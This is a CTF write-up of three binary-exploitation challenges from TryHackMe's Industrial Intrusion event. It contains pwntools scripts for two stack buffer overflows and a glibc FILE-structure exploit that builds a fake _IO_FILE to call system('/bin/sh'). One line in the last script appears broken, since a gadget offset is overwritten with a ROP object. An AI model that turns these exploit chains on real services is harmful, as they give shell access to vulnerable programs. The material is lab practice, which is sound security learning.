team-logo
Published on

Industrial intrusion CTF - PWN challenges

Authors

Introduction

The competition ran from June 27th at 15:00 until June 30th at 00:59.

Industrial Intrusion was quite an interesting CTF, organized by Try Hack me, where you could test your skills in Forensics, Web, PWN, Reverse, etc. I focused on PWN; the challenges were fairly simple, but the one involving file structure was new to me, so I spent more time on it, but I don't regret it. Unfortunately, the challenge descriptions have already been removed, and I didn't manage to take screenshots earlier. However, the binaries have been preserved, so you can practice with them. I didn't solve all the PWN challenges, but I did manage to complete three of them.

More information about this CTF can be found here. top

Start

That was easy, easy one. Simple buffer overflow without win.

from pwn import *

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="10.10.32.72:9008"

ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./start"
binary = context.binary = ELF(BINARY_NAME, checksec=False)


if args.REMOTE:
    p = remote(ADDRESS,PORT)

else:
    p = process(binary.path)

payload=53*b'A'
p.sendlineafter(b'Enter your username:',payload)

p.interactive()

Industrial

That was easy one too. Simple buffer overflow. return to win.

from pwn import *

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="10.10.164.19:9001"

ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./industrial"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)

else:
    p = process(binary.path)

win=binary.sym.win
rop=ROP(binary)

ret=rop.find_gadget(['ret'])[0]
payload=40*b'A'+p64(win+5)

p.sendlineafter(b'Enter the next command :',payload)
p.interactive()

file operation

This challenge was more complex and required a good understanding of Linux file structures, specifically the internals of the struct _IO_FILE used by glibc for file operations. To craft the exploit, I had to analyze the structure layout in memory using GDB. For reference, here is the output of ptype /o struct _IO_FILE in GDB, which shows the offsets and sizes of each field:

/* offset      |    size */  type = struct _IO_FILE {
/*      0      |       4 */    int _flags;
/* XXX  4-byte hole      */
/*      8      |       8 */    char *_IO_read_ptr;
/*     16      |       8 */    char *_IO_read_end;
/*     24      |       8 */    char *_IO_read_base;
/*     32      |       8 */    char *_IO_write_base;
/*     40      |       8 */    char *_IO_write_ptr;
/*     48      |       8 */    char *_IO_write_end;
/*     56      |       8 */    char *_IO_buf_base;
/*     64      |       8 */    char *_IO_buf_end;
/*     72      |       8 */    char *_IO_save_base;
/*     80      |       8 */    char *_IO_backup_base;
/*     88      |       8 */    char *_IO_save_end;
/*     96      |       8 */    struct _IO_marker *_markers;
/*    104      |       8 */    struct _IO_FILE *_chain;
/*    112      |       4 */    int _fileno;
/*    116      |       4 */    int _flags2;
/*    120      |       8 */    __off_t _old_offset;
/*    128      |       2 */    unsigned short _cur_column;
/*    130      |       1 */    signed char _vtable_offset;
/*    131      |       1 */    char _shortbuf[1];
/* XXX  4-byte hole      */
/*    136      |       8 */    _IO_lock_t *_lock;
/*    144      |       8 */    __off64_t _offset;
/*    152      |       8 */    struct _IO_codecvt *_codecvt;
/*    160      |       8 */    struct _IO_wide_data *_wide_data;
/*    168      |       8 */    struct _IO_FILE *_freeres_list;
/*    176      |       8 */    void *_freeres_buf;
/*    184      |       8 */    size_t __pad5;
/*    192      |       4 */    int _mode;
/*    196      |      20 */    char _unused2[20];

Understanding these offsets was crucial for building a fake file structure and successfully exploiting the binary.

from pwn import *


context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="10.10.71.3:9003"
ADDRESS,PORT=HOST.split(":")


BINARY_NAME="./file-operation"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('./libc.so.6', checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)


p.recvuntil(b'Queue instruction 0x')
stdout_addr = int(p.recvline().strip(), 16)
log.info(f"stdout address: {hex(stdout_addr)}")

# Załaduj libc
#libc = ELF('/path/to/libc.so.6')  # Zastąp ścieżką do libc-2.34
stdout_offset = libc.symbols['_IO_2_1_stdout_']
stdin_offset = libc.symbols['_IO_2_1_stdin_']
lock_offset = libc.symbols['_IO_stdfile_1_lock']
wide_data_offset = libc.symbols['_IO_wide_data_1']
wfile_jumps_offset = libc.symbols['_IO_wfile_jumps']
system_offset = libc.symbols['system']
gadget_offset = 0x1791c7  # add rdi, 0x10 ; jmp rcx Zastąp odpowiednim gadżetem dla libc-2.34
gadget_offset = ROP()

# Oblicz adresy
libc_base = stdout_addr - stdout_offset
stdin_addr = libc_base + stdin_offset
lock_addr = libc_base + lock_offset
wide_data_addr = libc_base + wide_data_offset
fake_vtable_addr = libc_base + wfile_jumps_offset - 0x18
system_addr = libc_base + system_offset
gadget_addr = libc_base + gadget_offset
log.info(f"libc base: {hex(libc_base)}")
log.info(f"stdin address: {hex(stdin_addr)}")
log.info(f"lock address: {hex(lock_addr)}")
log.info(f"wide_data address: {hex(wide_data_addr)}")
log.info(f"fake vtable address: {hex(fake_vtable_addr)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"gadget address: {hex(gadget_addr)}")

# Przygotuj strukturę FileStructure
fake = FileStructure(0)

#szukac
# _IO_FILE, stdout, _IO_2_1_stdout_
# w gdb ptype /o struct _IO_FILE
fake.flags = 0xfbad2088 & ~(0x4 | 0x800)  # Wyłącz _IO_NO_READS i _IO_CURRENTLY_PUTTING
#fake.flags = 0x3b01010101010101 tez dziaa

fake._IO_read_ptr = 0
fake._IO_read_base = 0
fake._IO_read_end = system_addr  # Wywołaj system
fake._IO_save_base = gadget_addr  # Gadżet add rdi, 0x10 ; jmp rcx
fake._IO_write_end = u64(b'/bin/sh\x00')  # Argument dla system
fake._IO_buf_base = stdout_addr
fake._IO_buf_end = stdout_addr + 0x300
fake._lock = lock_addr  #bardzo wazne
fake._codecvt = stdout_addr + 0xb8
fake._wide_data = stdout_addr + 0x200
fake.unknown2 = p64(0) * 2 + p64(stdout_addr + 0x20) + p64(0) * 3 + p64(fake_vtable_addr)


# Konwertuj na bajty i wypełnij do 240 bajtów
payload = bytes(fake)

p.send(payload)
p.interactive()

BONUS

Optionally, add links to binaries or additional resources.
Download binaries.zip